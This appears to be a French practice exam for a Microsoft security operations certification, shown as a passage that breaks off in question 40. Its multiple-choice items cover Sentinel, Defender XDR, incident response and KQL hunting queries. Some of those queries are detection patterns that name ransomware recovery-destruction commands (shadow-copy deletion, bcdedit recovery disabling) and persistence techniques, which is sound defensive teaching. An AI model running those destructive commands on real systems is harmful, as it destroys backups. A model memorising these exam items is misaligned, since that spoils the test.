Examen 2 — Question 45 (Répondre aux incidents de sécurité)

Vous devez protéger des machines virtuelles Azure avec l'EDR de Defender for Endpoint, l'analyse des vulnérabilités sans agent, la surveillance de l'intégrité des fichiers et l'accès juste-à-temps. Quel plan choisir ?

A. Foundational CSPM uniquement.

B. Defender for Storage.

C. Defender for Servers Plan 2.

D. Defender for Servers Plan 1.

Examen 2 — Question 46 (Effectuer la chasse aux menaces)

Besoin de détection : alerter si un utilisateur supprime plus de 200 fichiers SharePoint/OneDrive en une heure (sabotage ou rançongiciel cloud). Quelle requête convient ?

A.

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload == "Exchange"
| where Operation == "SoftDelete"
```

B.

REQUÊTE KQL

```
DeviceFileEvents
| where TimeGenerated > ago(1d)
| where ActionType == "FileDeleted"
| summarize count() by DeviceName
```

C.

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where Operation == "FileAccessed"
| summarize count() by UserId
```

D.

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload in ("SharePoint", "OneDrive")
| where Operation in ("FileDeleted", "FileDeletedFirstStageRecycleBin", "FileRecycled")
| summarize Suppressions = count(), Sites = dcount(Site_Url) by UserId, bin(TimeGenerated, 1h)
| where Suppressions > 200
```

Examen 2 — Question 47 (Répondre aux incidents de sécurité)

Un serveur a été compromis avec accès SYSTEM par l'attaquant pendant plusieurs jours. L'équipe hésite entre nettoyer les artefacts connus et reconstruire le serveur. Quelle recommandation est la plus sûre ?

A. Reconstruire (réinstaller) le serveur à partir d'une source fiable et restaurer les données vérifiées, car un accès SYSTEM prolongé ne permet pas de garantir que toutes les modifications ont été identifiées.

B. Nettoyer uniquement les fichiers détectés par l'antivirus.

C. Ne rien faire puisque l'attaquant n'est plus actif.

D. Changer seulement le nom du serveur.

Examen 2 — Question 48 (Répondre aux incidents de sécurité)

Une application OAuth inconnue, d'un éditeur non vérifié, a obtenu le consentement de 120 utilisateurs avec les autorisations Mail.ReadWrite et Files.ReadWrite.All. Que faire en priorité ?

A. Réinitialiser uniquement les mots de passe des utilisateurs.

B. Désactiver Defender for Cloud Apps.

C. Examiner l'application (éditeur, autorisations, activité, utilisateurs), et si elle est malveillante, l'interdire/la désactiver et révoquer les consentements, puis enquêter sur les données consultées.

D. Ignorer l'alerte car les utilisateurs ont donné leur consentement.

Examen 2 — Question 49 (Gérer un environnement d'opérations de sécurité)

Dans un classeur, vous voulez que toutes les requêtes utilisent la période choisie par l'utilisateur dans un sélecteur placé en haut. Quelle approche est correcte ?

A. Créer un paramètre de type « Time range picker » (par exemple TimeRange) et utiliser ce paramètre dans les requêtes, par exemple `where TimeGenerated {TimeRange}` ou en le sélectionnant comme intervalle de la requête.

B. Ajouter `ago(7d)` en dur dans chaque requête.

C. Utiliser une watchlist contenant les dates.

D. Créer une règle d'automatisation qui modifie les requêtes.

Examen 2 — Question 50 (Effectuer la chasse aux menaces)

Besoin de chasse : repérer l'ajout de valeurs de démarrage automatique dans les clés Run pointant vers des dossiers temporaires ou utilisateur (T1547.001). Quelle requête convient ?

A.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "regedit.exe"
```

B.

REQUÊTE KQL

```
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where ActionType == "RegistryKeyDeleted"
| where RegistryKey has "Run"
```

C.

REQUÊTE KQL

```
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where ActionType == "RegistryValueSet"
| where RegistryKey has @"\CurrentVersion\Run"
| where RegistryValueData has_any (@"\AppData\", @"\Temp\", @"\Users\Public\", @"\ProgramData\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName
```

D.

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has "Run"
```

Examen blanc n° 3

Consignes : 50 questions, durée conseillée 100 minutes, sans documentation. Notez vos réponses sur une feuille séparée, puis comparez-les au corrigé. Les questions à réponses multiples indiquent le nombre de réponses attendues. La répartition suit la pondération officielle du référentiel : 21 questions « Gérer un environnement d'opérations de sécurité », 18 « Répondre aux incidents de sécurité » et 11 « Effectuer la chasse aux menaces ».

Examen 3 — Question 1 (Répondre aux incidents de sécurité)

La messagerie Microsoft 365 de l'entreprise est soupçonnée d'être sous le contrôle de l'attaquant. Comment l'équipe de réponse doit-elle communiquer ?

A. Utiliser un canal de communication hors bande prédéfini (par exemple téléphonie ou outil de collaboration indépendant du locataire compromis).

B. Envoyer les informations sensibles par e-mail chiffré à tous les employés.

C. Ne pas communiquer pour éviter les fuites.

D. Continuer à utiliser Teams et Outlook du locataire compromis.

Examen 3 — Question 2 (Effectuer la chasse aux menaces)

Besoin : prioriser les alertes Sentinel dont l'utilisateur présente aussi une activité jugée très inhabituelle par l'UEBA le même jour. Quelle approche est correcte ?

A.

REQUÊTE KQL

```
let Ueba = BehaviorAnalytics
| where TimeGenerated > ago(1d)
| where InvestigationPriority >= 5
| summarize PrioriteMax = max(InvestigationPriority) by Upn = tolower(UserPrincipalName);
SecurityAlert
| where TimeGenerated > ago(1d)
| mv-expand Entite = todynamic(Entities)
| where tostring(Entite.Type) == "account"
| extend Upn = tolower(strcat(tostring(Entite.Name), "@", tostring(Entite.UPNSuffix)))
| join kind=inner Ueba on Upn
| project TimeGenerated, AlertName, AlertSeverity, Upn, PrioriteMax
| order by PrioriteMax desc
```

B.

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(1d)
| where AlertSeverity == "High"
```

C.

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(1d)
| join kind=inner (BehaviorAnalytics) on TimeGenerated
```

D.

REQUÊTE KQL

```
BehaviorAnalytics
| where TimeGenerated > ago(1d)
| summarize count() by ActivityType
```

Examen 3 — Question 3 (Répondre aux incidents de sécurité)

Scénario I (suite) : l'attaquant a ajouté un secret à l'application il y a 5 jours via un compte d'administrateur d'applications compromis. **Question :** quelles mesures de confinement sont prioritaires ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. Confiner le compte administrateur compromis (mot de passe, révocation des sessions, retrait temporaire des rôles).

B. Supprimer le coffre de clés de production.

C. Supprimer le secret ajouté (et faire tourner les autres identifiants de l'application), et faire tourner les secrets du coffre qui ont été lus.

D. Désactiver Defender for Key Vault.

E. Attendre que les secrets expirent naturellement.

Examen 3 — Question 4 (Gérer un environnement d'opérations de sécurité)

Vous préparez la connexion d'un espace de travail Sentinel au portail Microsoft Defender, dans un locataire qui comporte plusieurs espaces Sentinel. Quelle combinaison d'autorisations correspond aux prérequis documentés pour l'administrateur qui réalise l'opération ?

A. Le rôle Propriétaire (attribution inconditionnelle) sur l'abonnement — ou Administrateur de l'accès utilisateur et Microsoft Sentinel Contributor — ainsi qu'au moins le rôle Administrateur de la sécurité dans Microsoft Entra ID.

B. Uniquement le rôle Microsoft Sentinel Playbook Operator.

C. Uniquement le rôle Microsoft Sentinel Reader sur l'espace.

D. Une licence Microsoft 365 E5 attribuée à l'administrateur, sans autre rôle.

Examen 3 — Question 5 (Effectuer la chasse aux menaces)

Scénario D (suite) : vous voulez comparer en détail les connexions de p.durand sur 24 heures. **Question :** quelle requête Sentinel est la plus utile ?

A.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where UserPrincipalName =~ "p.durand@contoso.com"
| extend Ville = tostring(LocationDetails.city), Appareil = tostring(DeviceDetail.displayName),
Conforme = tostring(DeviceDetail.isCompliant)
| project TimeGenerated, IPAddress, Ville, AppDisplayName, Appareil, Conforme, UserAgent,
ResultType, RiskLevelDuringSignIn
| order by TimeGenerated asc
```

B.

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where Account has "p.durand"
```

C.

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Update user"
```

D.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize count() by Location
```

Examen 3 — Question 6 (Répondre aux incidents de sécurité)

Un attaquant compromet un poste local, vole les identifiants d'un administrateur synchronisé, puis crée une application dans Entra ID et accède à des abonnements Azure. Quelle combinaison d'outils offre la vue la plus complète de l'attaque ?

A. Uniquement les journaux du pare-feu.

B. Defender XDR (MDE, MDI, MDCA, Entra ID Protection) pour la corrélation des alertes en un incident, et Microsoft Sentinel pour les journaux Entra ID (AuditLogs), Azure (AzureActivity) et les corrélations personnalisées, dans le portail Defender unifié.

C. Uniquement l'antivirus Microsoft Defender du poste.

D. Uniquement Defender for Cloud.

Examen 3 — Question 7 (Gérer un environnement d'opérations de sécurité)

Scénario G (suite) : pour prévenir ce type de fuite, quelles mesures recommander ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. L'augmentation de la taille maximale des pièces jointes.

B. Le blocage des applications de stockage personnel non approuvées via Defender for Cloud Apps et Defender for Endpoint.

C. La désactivation des étiquettes de confidentialité.

D. Des stratégies DLP (Microsoft 365 et terminaux) bloquant le partage et le chargement de contenus étiquetés « Confidentiel » vers des destinations non autorisées.

E. L'interdiction totale de SharePoint.

Examen 3 — Question 8 (Gérer un environnement d'opérations de sécurité)

Une application métier développée en interne doit envoyer ses journaux d'authentification au format JSON dans Sentinel, dans une table dédiée avec un schéma maîtrisé. Quelle approche moderne est recommandée ?

A. Écrire directement dans la table SecurityEvent.

B. Envoyer les journaux dans Microsoft Defender for Endpoint via des indicateurs personnalisés.

C. Créer une table personnalisée (suffixe _CL) et utiliser l'API d'ingestion des journaux (Logs Ingestion API) avec un point de terminaison de collecte et une règle de collecte de données qui peut transformer les données.

D. Utiliser l'API HTTP Data Collector.

Examen 3 — Question 9 (Effectuer la chasse aux menaces)

Besoin de détection : repérer les hôtes internes ayant envoyé plus de 5 Go vers des adresses publiques en une journée, d'après les journaux du pare-feu (CEF). Quelle requête convient ?

A.

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(1d)
| summarize count() by Computer
```

B.

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| summarize sum(ReceivedBytes) by DestinationIP
```

C.

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| where ipv4_is_private(SourceIP) and not(ipv4_is_private(DestinationIP))
| summarize OctetsEnvoyes = sum(SentBytes), Destinations = dcount(DestinationIP) by SourceIP
| where OctetsEnvoyes > 5 * 1024 * 1024 * 1024
| extend Go = round(OctetsEnvoyes / 1073741824.0, 2)
| order by OctetsEnvoyes desc
```

D.

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| summarize count() by SourceIP
| where count_ > 5000
```

Examen 3 — Question 10 (Effectuer la chasse aux menaces)

Besoin : extraire les événements d'une période d'incident. La requête échoue. Quelle est la syntaxe correcte ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityEvent
| where TimeGenerated between (datetime(2026-10-01 08:00), datetime(2026-10-01 12:00))
| where Computer == "SRV-FIC01"
```

A. `| where TimeGenerated between (datetime(2026-10-01 08:00) .. datetime(2026-10-01 12:00))`

B. `| where TimeGenerated between datetime(2026-10-01 08:00) and datetime(2026-10-01 12:00)`

C. `| where TimeGenerated between ("2026-10-01 08:00" .. "2026-10-01 12:00")`

D. `| where TimeGenerated in (datetime(2026-10-01 08:00), datetime(2026-10-01 12:00))`

Examen 3 — Question 11 (Répondre aux incidents de sécurité)

Quelles capacités offre Defender for Containers pour des clusters AKS ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. La protection des boîtes aux lettres Exchange Online.

B. L'évaluation des vulnérabilités des images de conteneurs (registres et images en cours d'exécution) et le durcissement de la posture Kubernetes.

C. La détection des menaces à l'exécution sur les nœuds et le plan de contrôle Kubernetes (par exemple conteneur privilégié, exécution de commandes suspectes, accès à l'API depuis une IP malveillante).

D. L'analyse des tables SQL.

E. La gestion des mots de passe des utilisateurs Entra ID.

Examen 3 — Question 12 (Gérer un environnement d'opérations de sécurité)

Après une enquête automatisée concluant à « aucune menace trouvée », les alertes associées restent ouvertes et encombrent la file. Quelle fonctionnalité avancée de MDE permet de les résoudre automatiquement ?

A. « Allow or block file ».

B. « Automatically resolve alerts » (résoudre automatiquement les alertes).

C. « Custom network indicators ».

D. « Live response unsigned script execution ».

Examen 3 — Question 13 (Répondre aux incidents de sécurité)

Defender for Cloud signale une activité de minage de cryptomonnaie sur plusieurs VM récemment créées dans un abonnement de développement. Quelle hypothèse d'attaque vérifier en priorité ?

A. Un problème de facturation.

B. Une mise à jour automatique de Windows.

C. Une panne matérielle des hôtes Azure.

D. La compromission d'une identité ou d'un secret disposant de droits de création de ressources (Resource Hijacking, T1496), à vérifier dans AzureActivity (créations de VM, appelant, IP).

Examen 3 — Question 14 (Gérer un environnement d'opérations de sécurité)

L'équipe veut conserver l'historique des alertes et des recommandations de Defender for Cloud dans un espace Log Analytics, et les transmettre à un SIEM tiers via Event Hubs. Quelle fonctionnalité utiliser ?

A. Les règles de gouvernance.

B. L'export continu (continuous export) vers Log Analytics et/ou Event Hubs.

C. L'analyse sans agent.

D. Le JIT.

Examen 3 — Question 15 (Répondre aux incidents de sécurité)

Deux incidents arrivent en même temps : (1) gravité moyenne, malware bloqué sur un poste standard ; (2) gravité élevée, activité de type DCSync depuis un serveur applicatif avec un compte d'administrateur. Lequel traiter en premier et pourquoi ?

A. L'incident 2, car il indique une compromission probable d'identifiants à privilèges élevés avec un impact potentiel sur tout le domaine.

B. L'incident 1, car il est arrivé quelques secondes plus tôt.

C. L'incident 1, car un malware est plus dangereux qu'une réplication d'annuaire.

D. Les deux ont la même priorité car ce sont des incidents.

Examen 3 — Question 16 (Gérer un environnement d'opérations de sécurité)

Une équipe applicative doit voir les journaux de ses propres machines virtuelles stockés dans l'espace Sentinel, sans accès à l'interface Sentinel ni aux autres données. Quelle solution est recommandée ?

A. Une copie quotidienne des journaux dans un compte de stockage accessible à l'équipe.

B. Le RBAC de contexte de ressource : l'équipe consulte les journaux depuis ses ressources Azure, sur lesquelles elle possède déjà des droits.

C. Le rôle Microsoft Sentinel Responder limité au groupe de ressources de l'application.

D. Une règle d'automatisation qui affecte les incidents à l'équipe.

Examen 3 — Question 17 (Gérer un environnement d'opérations de sécurité)

Vous activez le connecteur Microsoft Defender XDR dans Sentinel. Quelles données ce connecteur peut-il apporter ?

Sélectionnez deux réponses.

A. Les événements bruts de la chasse avancée (par exemple DeviceProcessEvents, EmailEvents, IdentityLogonEvents) vers les tables correspondantes de l'espace.

B. Les journaux Syslog des serveurs Linux non protégés.

C. Les recommandations de Secure Score de Defender for Cloud.

D. Le journal d'activité Azure de tous les abonnements.

E. Les incidents et alertes de Defender XDR, synchronisés avec Sentinel.

Examen 3 — Question 18 (Gérer un environnement d'opérations de sécurité)

Scénario D (suite) : l'équipe commerciale utilise un VPN d'entreprise sortant par plusieurs pays, ce qui génère chaque semaine des alertes de voyage atypique. **Question :** quelle correction est la plus adaptée ?

A. Exclure les commerciaux de toute stratégie d'accès conditionnel.

B. Fermer automatiquement toutes les alertes de voyage.

C. Déclarer les plages IP de sortie du VPN comme emplacements nommés de confiance (Entra ID) et comme plages d'entreprise dans Defender for Cloud Apps.

D. Désactiver Entra ID Protection pour l'équipe commerciale.

Examen 3 — Question 19 (Répondre aux incidents de sécurité)

Un incident regroupe des alertes sur 35 appareils. Pour comprendre le vecteur initial, l'analyste veut identifier le premier appareil compromis (patient zéro). Quelle démarche est la plus fiable ?

A. Choisir le dernier appareil sur lequel une alerte est apparue.

B. Choisir l'appareil qui a le plus d'alertes.

C. Reconstituer la chronologie à partir des premiers horodatages d'activité malveillante (première exécution des IOC, première connexion du compte compromis, premier e-mail ouvert), en remontant l'arborescence des processus et les connexions latérales jusqu'à l'activité la plus ancienne.

D. Choisir l'appareil de l'utilisateur le plus haut placé dans l'organigramme.

Examen 3 — Question 20 (Gérer un environnement d'opérations de sécurité)

L'équipe d'ingénierie de détection veut versionner ses règles d'analyse, classeurs et playbooks dans GitHub, les faire relire par pull request et les déployer automatiquement dans les espaces de développement et de production. Quelle fonctionnalité Sentinel utiliser ?

A. L'export manuel des règles en JSON chaque semaine.

B. Le hub de contenu uniquement.

C. Les référentiels (Repositories) de Microsoft Sentinel, connectés à GitHub ou Azure DevOps, qui déploient le contenu à chaque validation.

D. Les watchlists.

Examen 3 — Question 21 (Répondre aux incidents de sécurité)

Quelle affirmation décrit correctement l'investigation et la réponse automatisées (AIR) de Defender XDR ?

A. Une alerte déclenche une enquête automatisée qui examine les preuves (fichiers, processus, services, pilotes, adresses IP, e-mails...), leur attribue un verdict et propose ou applique des actions de remédiation selon le niveau d'automatisation.

B. AIR ne traite que les e-mails.

C. AIR remplace l'antivirus Microsoft Defender.

D. AIR ne fonctionne que sur demande manuelle d'un analyste.

Examen 3 — Question 22 (Gérer un environnement d'opérations de sécurité)

Scénario J (suite) : une règle d'automatisation « lors de la mise à jour d'un incident » ajoute une balise ; une autre, déclenchée aussi à la mise à jour, change la gravité. Les incidents subissent des dizaines de modifications. **Question :** quelle correction est la plus appropriée ?

A. Restreindre les conditions des règles déclenchées à la mise à jour (par exemple « Statut modifié en Actif » ou « Alertes ajoutées ») pour qu'une modification faite par une règle ne déclenche pas l'autre en boucle.

B. Augmenter le nombre de règles pour compenser.

C. Supprimer toutes les règles d'automatisation.

D. Passer les incidents en gravité Informationnelle.

Examen 3 — Question 23 (Gérer un environnement d'opérations de sécurité)

Une organisation utilise un antivirus tiers comme protection principale ; l'antivirus Microsoft Defender est en mode passif. Quelle fonctionnalité permet à Defender for Endpoint de bloquer et corriger des artefacts malveillants détectés par l'EDR malgré ce mode passif ?

A. Le mode Audit des règles ASR.

B. La restriction d'exécution d'applications.

C. Le filtrage de contenu web.

D. Le mode bloc EDR (EDR in block mode).

Examen 3 — Question 24 (Effectuer la chasse aux menaces)

Besoin de détection : repérer les commandes qui suppriment les clichés instantanés ou désactivent la restauration, activité typique précédant un chiffrement par rançongiciel (T1490). Quelle requête convient ?

A.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where (FileName =~ "vssadmin.exe" and ProcessCommandLine has_all ("delete", "shadows"))
    or (FileName =~ "wmic.exe" and ProcessCommandLine has_all ("shadowcopy", "delete"))
    or (FileName =~ "bcdedit.exe" and ProcessCommandLine has_any ("recoveryenabled",
"ignoreallfailures"))
    or (FileName =~ "wbadmin.exe" and ProcessCommandLine has_all ("delete", "catalog"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName
```

B.

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
```

C.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "vssadmin.exe"
| where ProcessCommandLine has "list"
```

D.

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(1d)
| where FileName endswith ".vss"
```

Examen 3 — Question 25 (Gérer un environnement d'opérations de sécurité)

Scénario B (suite) : pour éviter que ce scénario se reproduise, quelles mesures préventives sont les plus efficaces ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. Désactiver PowerShell pour tous les administrateurs.

B. Supprimer les alertes MDE de type PowerShell.

C. Autoriser les macros pour tous les documents afin de réduire les alertes.

D. Renforcer la protection de la messagerie : pièces jointes sécurisées, blocage des macros provenant d'Internet et stratégies prédéfinies Standard/Strict.

E. Activer en mode Bloquer la règle ASR « Bloquer toutes les applications Office pour créer des processus enfants » (après audit).

Examen 3 — Question 26 (Répondre aux incidents de sécurité)

Un incident implique la compromission d'un compte d'un employé du service RH. Quelle démarche permet d'évaluer l'impact de façon fiable ?

A. Demander à l'utilisateur ce qu'il pense avoir perdu.

B. Recenser les ressources et données auxquelles le compte a accédé pendant la période de compromission (journaux d'audit Microsoft 365, accès aux fichiers, e-mails consultés, applications), et les privilèges qu'il détient.

C. Supposer qu'aucune donnée n'a été touchée si l'antivirus n'a rien détecté.

D. Mesurer l'impact par le nombre d'alertes générées.

Examen 3 — Question 27 (Gérer un environnement d'opérations de sécurité)

Vous voulez activer 8 règles ASR sur 5 000 postes sans perturber les applications métier. Quelle démarche est recommandée ?

A. Activer directement toutes les règles en mode Bloquer pour tout le parc.

B. Laisser les règles désactivées tant qu'aucune attaque n'est constatée.

C. Activer le mode Avertir uniquement sur les serveurs.

D. Déployer les règles en mode Audit, analyser les événements (rapports ASR, chasse avancée) pendant une période représentative, créer les exclusions nécessaires, puis passer en mode Bloquer (ou Avertir) par vagues.

Examen 3 — Question 28 (Gérer un environnement d'opérations de sécurité)

Scénario A (suite) : le retour d'expérience montre que le jeton a été volé via une page AiTM et qu'aucune stratégie de risque n'était active. **Question :** quelles améliorations prioriser ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. Désactiver Entra ID Protection.

B. Exiger une authentification résistante à l'hameçonnage (FIDO2/passkeys, Windows Hello) et des appareils conformes pour les rôles sensibles comme la comptabilité.

C. Supprimer la MFA, inefficace contre l'AiTM.

D. Augmenter la durée de vie des sessions pour limiter les invites.

E. Activer les stratégies d'accès conditionnel basées sur le risque (connexion → MFA, utilisateur → changement de mot de passe sécurisé).

Examen 3 — Question 29 (Effectuer la chasse aux menaces)

Besoin de chasse : vérifier si des appareils ont contacté l'un des domaines d'une liste fournie par un CERT. Quelle requête est la plus adaptée en chasse avancée ?

A.

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(30d)
| where SenderFromDomain == "update-msft-cdn.net"
```

B.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName has "secure-login-portal"
```

C.

REQUÊTE KQL

```
let domaines = datatable(Domaine:string)["update-msft-cdn.net", "secure-login-portal.co", "files-share-drive.org"];
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where isnotempty(RemoteUrl)
| where RemoteUrl has_any (domaines)
| summarize Connexions = count(), Premiere = min(Timestamp), Derniere = max(Timestamp) by DeviceName, RemoteUrl, InitiatingProcessFileName
```

D.

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl == "update-msft-cdn.net, secure-login-portal.co, files-share-drive.org"
```

Examen 3 — Question 30 (Effectuer la chasse aux menaces)

Besoin de détection : alerter quand une attribution de rôle Azure (RBAC) est créée avec succès, en indiquant l'appelant et son IP. Quelle requête convient ?

A.

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Add member to role"
```

B.

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue has "virtualMachines/start"
```

C.

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue =~ "Microsoft.Authorization/roleAssignments/write"
| where ActivityStatusValue == "Success"
| project TimeGenerated, Caller, CallerIpAddress, ResourceGroup, SubscriptionId, _ResourceId
```

D.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "Azure Portal"
```

Examen 3 — Question 31 (Effectuer la chasse aux menaces)

Besoin : relier les requêtes LDAP de reconnaissance vues par Defender for Identity au processus du poste source qui les a émises (par exemple un outil de type SharpHound). Quelle requête est la plus adaptée ?

A.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "ldap.exe"
```

B.

REQUÊTE KQL

```
IdentityLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
```

C.

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| summarize count() by QueryTarget
```

D.

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| where ActionType == "LDAP query" or Protocol == "Ldap"
| summarize Requetes = count(), Debut = min(Timestamp), Fin = max(Timestamp) by DeviceName,
AccountName
| where Requetes > 100
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(1d)
    | project DeviceName, ProcessTime = Timestamp, FileName, ProcessCommandLine
  ) on DeviceName
| where ProcessTime between ((Debut - 5m) .. Fin)
| summarize Processus = make_set(FileName, 20), Commandes = make_set(ProcessCommandLine, 5) by
DeviceName, AccountName, Requetes
```

Examen 3 — Question 32 (Effectuer la chasse aux menaces)

Besoin : après une connexion RDP depuis une IP externe suspecte, lister les processus lancés pendant cette session sur le serveur. Quelle requête permet la corrélation la plus précise ?

A.

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteIP == "203.0.113.88" and RemotePort == 3389
```

B.

REQUÊTE KQL

```
let Sessions = DeviceLogonEvents
| where Timestamp > ago(2d)
| where ActionType == "LogonSuccess" and LogonType == "RemoteInteractive"
| where RemoteIP == "203.0.113.88"
| project DeviceId, LogonId, AccountName, DebutSession = Timestamp;
DeviceProcessEvents
| where Timestamp > ago(2d)
| join kind=inner Sessions on DeviceId, $left.InitiatingProcessLogonId == $right.LogonId
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, DebutSession
```

C.

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(2d)
| join kind=inner (DeviceProcessEvents) on AccountName
```

D.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(2d)
| where ProcessCommandLine has "203.0.113.88"
```

Examen 3 — Question 33 (Gérer un environnement d'opérations de sécurité)

Vous devez lister les 10 types de données qui ont le plus contribué à l'ingestion facturable au cours des 30 derniers jours. Quelle requête utiliser ?

A.

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(30d)
| summarize count() by Computer
| top 10 by count_
```

B.

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(30d)
| summarize count() by EventID
| top 10 by count_
```

C.

REQUÊTE KQL

```
Usage
| where TimeGenerated > ago(30d)
| where IsBillable == true
| summarize VolumeGo = sum(Quantity) / 1024 by DataType
| top 10 by VolumeGo
```

D.

REQUÊTE KQL

```
Usage
| where TimeGenerated > ago(30d)
| summarize VolumeGo = sum(Quantity) by Computer
| top 10 by VolumeGo
```

Examen 3 — Question 34 (Répondre aux incidents de sécurité)

Une organisation sans Defender for Office 365 Plan 2 doit supprimer de toutes les boîtes un e-mail malveillant déjà distribué. Quelle méthode utiliser ?

A. Activer une règle ASR.

B. Supprimer les boîtes aux lettres des destinataires.

C. Utiliser Threat Explorer.

D. Créer une recherche de contenu Microsoft Purview (eDiscovery) ciblant le message (expéditeur, objet, date), puis lancer une action de purge (`New-ComplianceSearchAction -Purge`) en suppression réversible ou définitive.

Examen 3 — Question 35 (Gérer un environnement d'opérations de sécurité)

Le SOC veut être alerté si un connecteur de données cesse d'envoyer des données ou si l'exécution des playbooks échoue. Quelle fonctionnalité activer ?

A. Le Secure Score.

B. Les signets de chasse.

C. La table SecurityIncident.

D. L'audit et la surveillance de l'intégrité de Microsoft Sentinel, qui alimentent les tables SentinelHealth et SentinelAudit, puis des règles d'analyse sur ces tables.

Examen 3 — Question 36 (Gérer un environnement d'opérations de sécurité)

Une règle détecte des connexions RDP suspectes. Les alertes n'affichent aucune entité et ne sont donc pas corrélées avec d'autres alertes portant sur le même hôte. Quelle configuration manque ?

A. Le mappage des entités (Account, Host, IP...) vers les colonnes de résultat de la requête.

B. Les détails personnalisés (custom details).

C. Un regroupement d'événements « une seule alerte ».

D. La remplacement dynamique des détails d'alerte (alert details override).

Examen 3 — Question 37 (Répondre aux incidents de sécurité)

Après avoir identifié une campagne d'hameçonnage (même expéditeur, même URL), quelles actions combinées réduisent à la fois l'exposition actuelle et la réapparition ? (Sélectionnez deux réponses.)

Sélectionnez deux réponses.

A. Ajouter l'expéditeur à la liste des expéditeurs approuvés pour suivre la campagne.

B. Désactiver la boîte de réception de tous les destinataires.

C. Bloquer l'expéditeur, le domaine et l'URL dans la liste d'autorisation/blocage du locataire (et via des indicateurs MDE pour l'URL).

D. Retirer les messages distribués (Threat Explorer / chasse avancée, action de remédiation suivie dans le Centre de notifications).

E. Désactiver Safe Links pour accélérer la remise des messages.

Examen 3 — Question 38 (Répondre aux incidents de sécurité)

Des attaquants envoient des e-mails en se faisant passer pour le directeur financier, depuis des domaines ressemblants (par exemple contoso-finance.co au lieu de contoso.com). Quelle configuration de Defender for Office 365 cible spécifiquement cette menace ?

A. La purge automatique ZAP uniquement.

B. Les liens sécurisés uniquement.

C. Une règle ASR sur les postes.

D. La protection contre l'usurpation d'identité d'utilisateurs et de domaines dans la stratégie anti-hameçonnage, avec le directeur financier comme utilisateur protégé et les domaines de l'organisation comme domaines protégés.

Examen 3 — Question 39 (Gérer un environnement d'opérations de sécurité)

Lors d'une investigation, vous avez besoin de toutes les connexions réseau de serveurs potentiellement compromis, au-delà de l'échantillonnage par défaut de MDE, envoyées dans votre espace Sentinel. Quelle fonctionnalité utiliser ?

A. Activer la découverte des appareils en mode standard.

B. Augmenter le niveau d'automatisation à « Full ».

C. La collecte de données personnalisée de Defender for Endpoint : des règles ciblant les appareils par balises dynamiques, envoyant les événements dans des tables dédiées (par exemple DeviceCustomNetworkEvents) de l'espace Sentinel.

D. Créer une règle de détection personnalisée toutes les heures.

Examen 3 — Question 40 (Gérer un environnement d'opérations de sécurité)

Après avoir connecté votre espace Sentinel au portail Microsoft Defender, un analyste constate que les alertes générées par une règle planifiée Sentinel sont regroupées avec des alertes Defender for Endpoint dans un même incident. Quel mécanisme explique ce comportement ?

A. La règle planifiée a été configurée en mode « Fusion », ce qui fusionne automatiquement ses alertes avec celles de MDE.

B. Une règle d'automatisation Sentinel a fusionné les incidents.

C. Le connecteur Defender XDR copie toutes les alertes Sentinel dans Defender for Endpoint.

